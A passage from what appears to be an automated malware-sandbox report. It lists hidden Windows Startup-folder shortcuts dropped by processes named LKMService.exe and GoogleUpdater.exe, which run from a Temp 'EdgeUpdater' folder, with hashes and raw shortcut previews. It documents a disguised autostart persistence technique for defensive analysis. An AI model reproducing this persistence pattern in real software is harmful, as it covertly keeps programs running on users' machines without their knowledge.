e...e.x.e.........\|....I.J.H..K..:...`.......X.......936905...........hT..CrF.f4... .$}T..b...,.......hT..CrF.f4... .$}T..b...,..................1SPS.XF.L8C....&

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\LKMService_2a9e24b71ad64e13a03132b58a8b4eab.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\EdgeUpdater\LKMService.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Thu Oct 3 03:52:18 2024, mtime=Thu Oct 3 03:52:42 2024, atime=Thu Oct 3 03:52:17 2024, length=27136, window=hide
Category:	dropped
Size (bytes):	1185
Entropy (8bit):	4.938678405375716
Encrypted:	false
SSDEEP:	24:8pwRkeYl1RogKrA5+W8Ajfv/42egvqyFm:8pwRkr1R8AZjvgTyF
MD5:	34FBD421D7C0DCE05BB3140DE349A0E8
SHA1:	C2C97F8EA46CD824C8FE1F7801F2B9DAA8348E84
SHA-256:	2B5F4DDD01B7067022556BF77DA99BCD2EB66042B912A1489D9A059C64B93F5F
SHA-512:	4C585303D5AE1AFF423A4E064E7EF597FF73DA1BCD8628254F27C2244E59CCF4B505761094B6092F5EB20145C653BDD17A2BA167DD22CF61D8962F2724357201
Malicious:	false
Preview:	L..................F...."......P....3z.P....m..P....j......................&.:..DG..Yr?.D..U..k0.&...&......vk.v........P.....W.P.......t...CFSF..1.....CW.^..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......CW.^CY.&...........................%..A.p.p.D.a.t.a...B.P.1.....CY.&..Local.<......CW.^CY.&....b.........................L.o.c.a.l.....N.1.....CY.&..Temp..:......CW.^CY.&....l.....................'.0.T.e.m.p.....`.1.....CY.&..EDGEUP~1..H......CY.&CY.&..............................E.d.g.e.U.p.d.a.t.e.r.....j.2..j..CY.&".LKMSER~1.EXE..N......CY.&CY.&...........................c.L.K.M.S.e.r.v.i.c.e...e.x.e.......k...............-.......j...........{.B.....C:\Users\user\AppData\Local\Temp\EdgeUpdater\LKMService.exe..7.....\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.E.d.g.e.U.p.d.a.t.e.r.\.L.K.M.S.e.r.v.i.c.e...e.x.e.........\|....I.J.H..K..:...`.......X.......936905...........hT..CrF.f4... .$}T..b...,.......hT..CrF.f4... .$}T..b...,..................1SPS.XF.L8C....&

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\LKMService_2f9c2e9b402944f78763aeed507ed556.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\EdgeUpdater\LKMService.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Thu Oct 3 03:52:18 2024, mtime=Thu Oct 3 03:52:44 2024, atime=Thu Oct 3 03:52:17 2024, length=27136, window=hide
Category:	dropped
Size (bytes):	1185
Entropy (8bit):	4.940932442897283
Encrypted:	false
SSDEEP:	24:8p9RkeYl1RogKrA5+W8Ajfv/42egvqyFm:8p9Rkr1R8AZjvgTyF
MD5:	6465D0C412EEE061E577A06F29D33257
SHA1:	ECD69231B1F3B203697E396D0326C78AAE355E63
SHA-256:	FB82E3B537B2D543112A19694F8EA11FE1C0B8F2A620604D61A9347052253AAD
SHA-512:	6F618E3734E939A3854A763702794CE42EC25AEC5E6D3E88DEE9841D45B666FD13EED074813213BCDC1C4E8E4F08B96F84CC7998E33F25D1CABFAA793DF64293
Malicious:	false
Preview:	L..................F...."......P......P....m..P....j......................&.:..DG..Yr?.D..U..k0.&...&......vk.v........P.....W.P.......t...CFSF..1.....CW.^..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......CW.^CY.&...........................%..A.p.p.D.a.t.a...B.P.1.....CY.&..Local.<......CW.^CY.&....b.........................L.o.c.a.l.....N.1.....CY.&..Temp..:......CW.^CY.&....l.....................'.0.T.e.m.p.....`.1.....CY.&..EDGEUP~1..H......CY.&CY.&..............................E.d.g.e.U.p.d.a.t.e.r.....j.2..j..CY.&".LKMSER~1.EXE..N......CY.&CY.&...........................c.L.K.M.S.e.r.v.i.c.e...e.x.e.......k...............-.......j...........{.B.....C:\Users\user\AppData\Local\Temp\EdgeUpdater\LKMService.exe..7.....\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.E.d.g.e.U.p.d.a.t.e.r.\.L.K.M.S.e.r.v.i.c.e...e.x.e.........\|....I.J.H..K..:...`.......X.......936905...........hT..CrF.f4... .$}T..b...,.......hT..CrF.f4... .$}T..b...,..................1SPS.XF.L8C....&

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\LKMService_30da072590d94300b55427151208c02e.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\EdgeUpdater\GoogleUpdater.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Thu Oct 3 03:52:18 2024, mtime=Thu Oct 3 03:55:06 2024, atime=Thu Oct 3 03:52:17 2024, length=27136, window=hide
Category:	dropped
Size (bytes):	1185
Entropy (8bit):	4.9375592310514245
Encrypted:	false
SSDEEP:	24:8pvRAjeYl1RogKrA5+W8Ajfv/42egvqyFm:8pvRer1R8AZjvgTyF
MD5:	AA27E7942A6E45692C633959E9B98E8F
SHA1:	74B957986C2E2664E71637156BDDA689946408B3
SHA-256:	5E6C01453EF334A6E4908201FCB3CB09112B03DBFACCFCFCD379E9286608D999
SHA-512:	B7FB7663CD4D56389C75F93B39FF0AF7BB17690B09931047C8008C07605442BC93C148642E2846D5674223026BF5782DEF037A67F8DD38DBD6A23BBCF144FC64
Malicious:	false
Preview:	L..................F...."......P....<pjP....m..P....j......................&.:..DG..Yr?.D..U..k0.&...&......vk.v........P......kP.......t...CFSF..1.....CW.^..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......CW.^CY.&...........................%..A.p.p.D.a.t.a...B.P.1.....CY.&..Local.<......CW.^CY.&....b.........................L.o.c.a.l.....N.1.....CY.&..Temp..:......CW.^CY.&....l.....................'.0.T.e.m.p.....`.1.....CY.&..EDGEUP~1..H......CY.&CY.&..............................E.d.g.e.U.p.d.a.t.e.r.....j.2..j..CY.&".LKMSER~1.EXE..N......CY.&CY.&...........................c.L.K.M.S.e.r.v.i.c.e...e.x.e.......k...............-.......j...........{.B.....C:\Users\user\AppData\Local\Temp\EdgeUpdater\LKMService.exe..7.....\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.E.d.g.e.U.p.d.a.t.e.r.\.L.K.M.S.e.r.v.i.c.e...e.x.e.........\|....I.J.H..K..:...`.......X.......936905...........hT..CrF.f4... .$}T..b...,.......hT..CrF.f4... .$}T..b...,..................1SPS.XF.L8C....&

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\LKMService_3244f43be22c4cf6b2b13ef99bd1ce28.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\EdgeUpdater\GoogleUpdater.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Thu Oct 3 03:52:18 2024, mtime=Thu Oct 3 03:53:01 2024, atime=Thu Oct 3 03:52:17 2024, length=27136, window=hide
Category:	dropped
Size (bytes):	1185
Entropy (8bit):	4.941395098159576
Encrypted:	false
SSDEEP:	24:8pQqRjeYl1RogKrA5+W8Ajfv/42egvqyFm:8pQqRjr1R8AZjvgTyF
MD5:	CB8066C01B1F8DD35CDD14F5D6E11F1A
SHA1:	67B0C7992CAE4BB70DB18D03E7C8A59405DFBDC6
SHA-256:	98F53E2C8A0BB48DC7B77AF05DAADF6C8123C8F2FDBB4C26ECDBC662CB7B59C8
SHA-512:	66E14ED7C9E280EE1AE73E451B153373242F32F4A967884295866FAA08B853E8BCDFDD624C4805834A199FD7F8670501C0BD5C474A5E0C6822B7569169B3ED46
Malicious:	false
Preview:	L..................F...."......P...<...P....m..P....j......................&.:..DG..Yr?.D..U..k0.&...&......vk.v........P...".@.P.......t...CFSF..1.....CW.^..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......CW.^CY.&...........................%..A.p.p.D.a.t.a...B.P.1.....CY.&..Local.<......CW.^CY.&....b.........................L.o.c.a.l.....N.1.....CY.&..Temp..:......CW.^CY.&....l.....................'.0.T.e.m.p.....`.1.....CY.&..EDGEUP~1..H......CY.&CY.&..............................E.d.g.e.U.p.d.a.t.e.r.....j.2..j..CY.&".LKMSER~1.EXE..N......CY.&CY.&...........................c.L.K.M.S.e.r.v.i.c.e...e.x.e.......k...............-.......j...........{.B.....C:\Users\user\AppData\Local\Temp\EdgeUpdater\LKMService.exe..7.....\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.E.d.g.e.U.p.d.a.t.e.r.\.L.K.M.S.e.r.v.i.c.e...e.x.e.........\|....I.J.H..K..:...`.......X.......936905...........hT..CrF.f4... .$}T..b...,.......hT..CrF.f4... .$}T..b...,..................1SPS.XF.L8C....&

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\LKMService_3487f4a78e4c4ed692c3a4dd9d37da1d.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\EdgeUpdater\GoogleUpdater.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Thu Oct 3 03:52:18 2024, mtime=Thu Oct 3 03:54:55 2024, atime=Thu Oct 3 03:52:17 2024, length=27136, window=hide
Category:	dropped
Size (bytes):	1185
Entropy (8bit):	4.943452667316055
Encrypted:	false
SSDEEP:	24:8pZRAeYl1RogKrA5+W8Ajfv/42egvqyFm:8pZRAr1R8AZjvgTyF
MD5:	C2CAC5234D6A154751130A5E5B41BED0
SHA1:	0318E3C5472CF7C789434E4EC6B4F0A95AD7B2B0
SHA-256:	C764778E8CE80634ECE974083EFD3A384443BFCD762213959CF237E1FC67EF94
SHA-512:	F7C2B15A382A5788EEB04116CF731A0D98D5685D766BA5664FDC51EF4B14A68A6F88ABDF176D8AEFE80B6C59BF54195B8C09DE8DD3EEDF16ABC25E3A8BCB6209
Malicious:	false
Preview:	L..................F...."......P......cP....m..P....j......................&.:..DG..Yr?.D..U..k0.&...&......vk.v........P......aP.......t...CFSF..1.....CW.^..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......CW.^CY.&...........................%..A.p.p.D.a.t.a...B.P.1.....CY.&..Local.<......CW.^CY.&....b.........................L.o.c.a.l.....N.1.....CY.&..Temp..:......CW.^CY.&....l.....................'.0.T.e.m.p.....`.1.....CY.&..EDGEUP~1..H......CY.&CY.&..............................E.d.g.e.U.p.d.a.t.e.r.....j.2..j..CY.&".LKMSER~1.EXE..N......CY.&CY.&...........................c.L.K.M.S.e.r.v.i.c.e...e.x.e.......k...............-.......j...........{.B.....C:\Users\user\AppData\Local\Temp\EdgeUpdater\LKMService.exe..7.....\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.E.d.g.e.U.p.d.a.t.e.r.\.L.K.M.S.e.r.v.i.c.e...e.x.e.........\|....I.J.H..K..:...`.......X.......936905...........hT..CrF.f4... .$}T..b...,.......hT..CrF.f4... .$}T..b...,..................1SPS.XF.L8C....&

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\LKMService_34f83a48c94b451684bc20e7bbce765c.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\EdgeUpdater\GoogleUpdater.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Thu Oct 3 03:52:18 2024, mtime=Thu Oct 3 03:54:49 2024, atime=Thu Oct 3 03:52:17 2024, length=27136, window=hide
Category:	dropped
Size (bytes):	1185
Entropy (8bit):	4.934551193488363
Encrypted:	false
SSDEEP:	24:8pPRJfeYl1RogKrA5+W8Ajfv/42egvqyFm:8pPRZr1R8AZjvgTyF
MD5:	89745A0F3B4358D8F8B748CF786B6FC3
SHA1:	3D08FE615508A185F816BB18F23E2AA6D2B0DC8B
SHA-256:	6D594B633AAC9FDFD8D03514A39BFC332AF084591972C8792AC728A1926ECC33
SHA-512:	2D7D0178CAE73EAAA4B5C178B25A197296DBE9E3D8481C5940526C249EDB25E4DFFEBE81A0B7EB23A399BB84CB06F31AB9F72B75F140BD52BD7C141EF9C58C99
Malicious:	false
Preview:	L..................F...."......P...x.W`P....m..P....j......................&.:..DG..Yr?.D..U..k0.&...&......vk.v........P...,..aP.......t...CFSF..1.....CW.^..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......CW.^CY.&...........................%..A.p.p.D.a.t.a...B.P.1.....CY.&..Local.<......CW.^CY.&....b.........................L.o.c.a.l.....N.1.....CY.&..Temp..:......CW.^CY.&....l.....................'.0.T.e.m.p.....`.1.....CY.&..EDGEUP~1..H......CY.&CY.&..............................E.d.g.e.U.p.d.a.t.e.r.....j.2..j..CY.&".LKMSER~1.EXE..N......CY.&CY.&...........................c.L.K.M.S.e.r.v.i.c.e...e.x.e.......k...............-.......j...........{.B.....C:\Users\user\AppData\Local\Temp\EdgeUpdater\LKMService.exe..7.....\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.E.d.g.e.U.p.d.a.t.e.r.\.L.K.M.S.e.r.v.i.c.e...e.x.e.........\|....I.J.H..K..:...`.......X.......936905...........hT..CrF.f4... .$}T..b...,.......hT..CrF.f4... .$}T..b...,..................1SPS.XF.L8C....&

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\LKMService_385e0454507a4cbc8028a419a3f3575b.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\EdgeUpdater\GoogleUpdater.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Thu Oct 3 03:52:18 2024, mtime=Thu Oct 3 03:54:56 2024, atime=Thu Oct 3 03:52:17 2024, length=27136, window=hide
Category:	dropped
Size (bytes):	1185
Entropy (8bit):	4.940758062292771
Encrypted:	false
SSDEEP:	24:8p8RAeYl1RogKrA5+W8Ajfv/42egvqyFm:8p8RAr1R8AZjvgTyF
MD5:	506FE9F398CB658C8927E6B61D52F308
SHA1:	91301C8CB380F5A3DBDA60B46E4D67D0A183901D
SHA-256:	D7EAAFAF14F28026CD29FE82385056401F668C7C81E91E8E7668DFD8BF5B90B0
SHA-512:	9F223C9624BE92044804674DD597BBE4665B25E96F28D910457ACEDF0CB24C2B1559522D00C6A2DE4310C780D451D94780B19ADD2B3E7768FA0B1E83EAD72AE6
Malicious:	false
Preview:	L..................F...."......P.....EdP....m..P....j......................&.:..DG..Yr?.D..U..k0.&...&......vk.v........P......dP.......t...CFSF..1.....CW.^..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......CW.^CY.&...........................%..A.p.p.D.a.t.a...B.P.1.....CY.&..Local.<......CW.^CY.&....b.........................L.o.c.a.l.....N.1.....CY.&..Temp..:......CW.^CY.&....l.....................'.0.T.e.m.p.....`.1.....CY.&..EDGEUP~1..H......CY.&CY.&..............................E.d.g.e.U.p.d.a.t.e.r.....j.2..j..CY.&".LKMSER~1.EXE..N......CY.&CY.&...........................c.L.K.M.S.e.r.v.i.c.e...e.x.e.......k...............-.......j...........{.B.....C:\Users\user\AppData\Local\Temp\EdgeUpdater\LKMService.exe..7.....\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.E.d.g.e.U.p.d.a.t.e.r.\.L.K.M.S.e.r.v.i.c.e...e.x.e.........\|....I.J.H..K..:...`.......X.......936905...........hT..CrF.f4... .$}T..b...,.......hT..CrF.f4... .$}T..b...,..................1SPS.XF.L8C....&

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\LKMService_395dc20f388c493cb2e340e45a0e2bc4.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\EdgeUpdater\GoogleUpdater.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Thu Oct 3 03:52:18 2024, mtime=Thu Oct 3 03:53:11 2024, atime=Thu Oct 3 03:52:17 2024, length=27136, window=hide
Category:	dropped
Size (bytes):	1185
Entropy (8bit):	4.939640178873522
Encrypted:	false
SSDEEP:	24:8pyORjeYl1RogKrA5+W8Ajfv/42egvqyFm:8pjRjr1R8AZjvgTyF
MD5:	8E999348DCF2D7C7DF9AD025F493236B
SHA1:	1283080122BE86739984B6C0297B5396CE21417C
SHA-256:	AE512A003EA5C937FBE43282B6F24DF56559B7CF627F34799EE6062F9E065555
SHA-512:	7FB24B6CE67AF5508AE01563CB11A5C2515BBDFC7B2F21C541503840DC84AA87025A5F34027F2590E4B128F949C1D07EDAC56D64A4A47DCB54DCD56799F78311
Malicious:	false
Preview:	L..................F...."......P....S.%P....m..P....j......................&.:..DG..Yr?.D..U..k0.&...&......vk.v........P...".@.P.......t...CFSF..1.....CW.^..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......CW.^CY.&...........................%..A.p.p.D.a.t.a...B.P.1.....CY.&..Local.<......CW.^CY.&....b.........................L.o.c.a.l.....N.1.....CY.&..Temp..:......CW.^CY.&....l.....................'.0.T.e.m.p.....`.1.....CY.&..EDGEUP~1..H......CY.&CY.&..............................E.d.g.e.U.p.d.a.t.e.r.....j.2..j..CY.&".LKMSER~1.EXE..N......CY.&CY.&...........................c.L.K.M.S.e.r.v.i.c.e...e.x.e.......k...............-.......j...........{.B.....C:\Users\user\AppData\Local\Temp\EdgeUpdater\LKMService.exe..7.....\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.E.d.g.e.U.p.d.a.t.e.r.\.L.K.M.S.e.r.v.i.c.e...e.x.e.........\|....I.J.H..K..:...`.......X.......936905...........hT..CrF.f4... .$}T..b...,.......hT..CrF.f4... .$}T..b...,..................1SPS.XF.L8C....&

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\LKMService_39d434e7593546b9aa5fb10c43e7790d.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\EdgeUpdater\GoogleUpdater.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Thu Oct 3 03:52:18 2024, mtime=Thu Oct 3 03:55:20 2024, atime=Thu Oct 3 03:52:17 2024, length=27136, window=hide
Category:	dropped
Size (bytes):	1185
Entropy (8bit):	4.949268794514212
Encrypted:	false
SSDEEP:	24:8pIQRBx/eYl1RogKrA5+W8Ajfv/42egvqyFm:8pXRBx/r1R8AZjvgTyF
MD5:	F5C9DD79E37F2DE6362B6818332153BF
SHA1:	F98DB2E251D55F7CE9CCFE74D92696149AD86583
SHA-256:	E620E81B43A0BD840926095FC102685630175AE5AF0B009C0504D145325CC3E1
SHA-512:	1FAD5B07961EC4AC398088509D87BA9271B49E9DF06AF7E29788494DE51FDDC0610F77EB28328229E0C81C5D576C0D475C2CE586DCF17DBE8B3F4FBFE687D10B
Malicious:	false
Preview:	L..................F...."......P....*.rP....m..P....j......................&.:..DG..Yr?.D..U..k0.&...&......vk.v........P......qP.......t...CFSF..1.....CW.^..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......CW.^CY.&...........................%..A.p.p.D.a.t.a...B.P.1.....CY.&..Local.<......CW.^CY.&....b.........................L.o.c.a.l.....N.1.....CY.&..Temp..:......CW.^CY.&....l.....................'.0.T.e.m.p.....`.1.....CY.&..EDGEUP~1..H......CY.&CY.&..............................E.d.g.e.U.p.d.a.t.e.r.....j.2..j..CY.&".LKMSER~1.EXE..N......CY.&CY.&...........................c.L.K.M.S.e.r.v.i.c.e...e.x.e.......k...............-.......j...........{.B.....C:\Users\user\AppData\Local\Temp\EdgeUpdater\LKMService.exe..7.....\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.E.d.g.e.U.p.d.a.t.e.r.\.L.K.M.S.e.r.v.i.c.e...e.x.e.........\|....I.J.H..K..:...`.......X.......936905...........hT..CrF.f4... .$}T..b...,.......hT..CrF.f4... .$}T..b...,..................1SPS.XF.L8C....&

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\LKMService_3caf0b3215974f25bbce13006a6e409f.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\EdgeUpdater\LKMService.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Thu Oct 3 03:52:18 2024, mtime=Thu Oct 3 03:53:07 2024, atime=Thu Oct 3 03:52:17 2024, length=27136, window=hide
Category:	dropped
Size (bytes):	1185
Entropy (8bit):	4.944294457723441
Encrypted:	false
SSDEEP:	24:8pPRBeYl1RogKrA5+W8Ajfv/42egvqyFm:8pPRBr1R8AZjvgTyF
MD5:	D310DD55990B11665397D31E8D37C2AC
SHA1:	FB0092CAC9F9CB378E047C0DC7359E1040DE6056
SHA-256:	E99512E1090FDF4F816AEB12C8645E6EE3845FA6DF2F786C37D8A519DC36141F
SHA-512:	89872A7B10B9CD23824CA3CB36D240CAA5DA8AAEFAE9C116F0B7C1FED064066B9AB01098E85A7D7030F3E5A69AFC161E292D244CCC0385C90545F56F3109C4D7
Malicious:	false
Preview:	L..................F...."......P.....A#P....m..P....j......................&.:..DG..Yr?.D..U..k0.&...&......vk.v........P...9$u.P.......t...CFSF..1.....CW.^..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......CW.^CY.&...........................%..A.p.p.D.a.t.a...B.P.1.....CY.&..Local.<......CW.^CY.&....b.........................L.o.c.a.l.....N.1.....CY.&..Temp..:......CW.^CY.&....l.....................'.0.T.e.m.p.....`.1.....CY.&..EDGEUP~1..H......CY.&CY.&..............................E.d.g.e.U.p.d.a.t.e.r.....j.2..j..CY.&".LKMSER~1.EXE..N......CY.&CY.&...........................c.L.K.M.S.e.r.v.i.c.e...e.x.e.......k...............-.......j...........{.B.....C:\Users\user\AppData\Local\Temp\EdgeUpdater\LKMService.exe..7.....\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.E.d.g.e.U.p.d.a.t.e.r.\.L.K.M.S.e.r.v.i.c.e...e.x.e.........\|....I.J.H..K..:...`.......X.......936905...........hT..CrF.f4... .$}T..b...,.......hT..CrF.f4... .$}T..b...,..................1SPS.XF.L8C....&

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\LKMService_3f3cf56c6562461aadeb1c83fa5ecd0e.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\EdgeUpdater\LKMService.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Thu Oct 3 03:52:18 2024, mtime=Thu Oct 3 03:52:27 2024, atime=Thu Oct 3 03:52:17 2024, length=27136, window=hide
Category:	dropped
Size (bytes):	1185
Entropy (8bit):	4.94260669401036
Encrypted:	false
SSDEEP:	24:8pqRkeYl1RogKrA5+W8Ajfv/42egvqyFm:8pqRkr1R8AZjvgTyF
MD5:	B39B180B7F436BD5FCB9B198AAA9AC96
SHA1:	3220C6AE1E39D00A586390E392B48D0CB1EBC34C
SHA-256:	534BABFDDC85D94BCA66062913094CC139902DF0DF1557932F64C7392EBF18A7
SHA-512:	BB3071C484CAB43D84EB603E6E411A16A923D885ACDD6329877D04B9D383B6CA11F38736AEC23CF658C414B82E8E595B1DAEC1744A7CDC30A9C261412B3A4C65
Malicious:	false
Preview:	L..................F...."......P.......P....m..P....j......................&.:..DG..Yr?.D..U..k0.&...&......vk.v........P.....W.P.......t...CFSF..1.....CW.^..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......CW.^CY.&...........................%..A.p.p.D.a.t.a...B.P.1.....CY.&..Local.<......CW.^CY.&....b.........................L.o.c.a.l.....N.1.....CY.&..Temp..:......CW.^CY.&....l.....................'.0.T.e.m.p.....`.1.....CY.&..EDGEUP~1..H......CY.&CY.&..............................E.d.g.e.U.p.d.a.t.e.r.....j.2..j..CY.&".LKMSER~1.EXE..N......CY.&CY.&...........................c.L.K.M.S.e.r.v.i.c.e...e.x.e.......k...............-.......j...........{.B.....C:\Users\user\AppData\Local\Temp\EdgeUpdater\LKMService.exe..7.....\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.E.d.g.e.U.p.d.a.t.e.r.\.L.K.M.S.e.r.v.i.c.e...e.x.e.........\|....I.J.H..K..:...`.......X.......936905...........hT..CrF.f4... .$}T..b...,.......hT..CrF.f4... .$}T..b...,..................1SPS.XF.L8C....&

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\LKMService_411d1b5be20944329c2f73c2360baac5.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\EdgeUpdater\GoogleUpdater.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Thu Oct 3 03:52:18 2024, mtime=Thu Oct 3 03:53:08 2024, atime=Thu Oct 3 03:52:17 2024, length=27136, window=hide
Category:	dropped
Size (bytes):	1185
Entropy (8bit):	4.935983452005576
Encrypted:	false
SSDEEP:	24:8pbqRjeYl1RogKrA5+W8Ajfv/42egvqyFm:8p+Rjr1R8AZjvgTyF
MD5:	F0028D099AAE23FFB3DF39D08DC824F7
SHA1:	564076B4C2B291BFC4C396B9009F429B5D57C6E0
SHA-256:	D0E8660FE8D9CE0EF4E0AFC330ABA07FD80A90AE1DA96353CB0B339CBF66B8B1
SHA-512:	F4E3AA595B522942964C360BF63C51AAD9BC6983900767B6EFBE6374E9D70F3AEAEB324F050689773CDA30870C69138FFDDBEF874D0D241404FCA567D8FDC07B
Malicious:	false
Preview:	L..................F...."......P......$P....m..P....j......................&.:..DG..Yr?.D..U..k0.&...&......vk.v........P...".@.P.......t...CFSF..1.....CW.^..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......CW.^CY.&...........................%..A.p.p.D.a.t.a...B.P.1.....CY.&..Local.<......CW.^CY.&....b.........................L.o.c.a.l.....N.1.....CY.&..Temp..:......CW.^CY.&....l.....................'.0.T.e.m.p.....`.1.....CY.&..EDGEUP~1..H......CY.&CY.&..............................E.d.g.e.U.p.d.a.t.e.r.....j.2..j..CY.&".LKMSER~1.EXE..N......CY.&CY.&...........................c.L.K.M.S.e.r.v.i.c.e...e.x.e.......k...............-.......j...........{.B.....C:\Users\user\AppData\Local\Temp\EdgeUpdater\LKMService.exe..7.....\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.E.d.g.e.U.p.d.a.t.e.r.\.L.K.M.S.e.r.v.i.c.e...e.x.e.........\|....I.J.H..K..:...`.......X.......936905...........hT..CrF.f4... .$}T..b...,.......hT..CrF.f4... .$}T..b...,..................1SPS.XF.L8C....&

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\LKMService_427256daf11446c5b6457ba6028fbd14.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\EdgeUpdater\GoogleUpdater.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Thu Oct 3 03:52:18 2024, mtime=Thu Oct 3 03:54:32 2024, atime=Thu Oct 3 03:52:17 2024, length=27136, window=hide
Category:	dropped
Size (bytes):	1185
Entropy (8bit):	4.938209918825553
Encrypted:	false
SSDEEP:	24:8pKcRZEeYl1RogKrA5+W8Ajfv/42egvqyFm:8ptROr1R8AZjvgTyF
MD5:	4E8AD7027F4871427F5C7357C30548B7
SHA1:	5808EF7A33A4C9E4AB4540F979668028D320B053
SHA-256:	F6F3F4E2373912A3AA0C04E0222F3FAB197CDB1EEC2F67958B73EC0664F9847C
SHA-512:	65112BA9BDAC945FB8B6C6F888E9FC6A733F9FD30B633D72E382774F8154B1BD98A8DAEDF2E1545580A2F8F36986C844CA74C5D8ABF7B1C8A3BE0CDD4EACF4E8
Malicious:	false
Preview:	L..................F...."......P....f3VP....m..P....j......................&.:..DG..Yr?.D..U..k0.&...&......vk.v........P...\|..TP.......t...CFSF..1.....CW.^..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......CW.^CY.&...........................%..A.p.p.D.a.t.a...B.P.1.....CY.&..Local.<......CW.^CY.&....b.........................L.o.c.a.l.....N.1.....CY.&..Temp..:......CW.^CY.&....l.....................'.0.T.e.m.p.....`.1.....CY.&..EDGEUP~1..H......CY.&CY.&..............................E.d.g.e.U.p.d.a.t.e.r.....j.2..j..CY.&".LKMSER~1.EXE..N......CY.&CY.&...........................c.L.K.M.S.e.r.v.i.c.e...e.x.e.......k...............-.......j...........{.B.....C:\Users\user\AppData\Local\Temp\EdgeUpdater\LKMService.exe..7.....\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.E.d.g.e.U.p.d.a.t.e.r.\.L.K.M.S.e.r.v.i.c.e...e.x.e.........\|....I.J.H..K..:...`.......X.......936905...........hT..CrF.f4... .$}T..b...,.......hT..CrF.f4... .$}T..b...,..................1SPS.XF.L8C....&

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\LKMService_443763e809b44174b5ff2a4a08c59b57.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\EdgeUpdater\GoogleUpdater.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Thu Oct 3 03:52:18 2024, mtime=Thu Oct 3 03:54:15 2024, atime=Thu Oct 3 03:52:17 2024, length=27136, window=hide
Category:	dropped
Size (bytes):	1185
Entropy (8bit):	4.939191314825872
Encrypted:	false
SSDEEP:	24:8pbjRPeYl1RogKrA5+W8Ajfv/42egvqyFm:8pbjRPr1R8AZjvgTyF
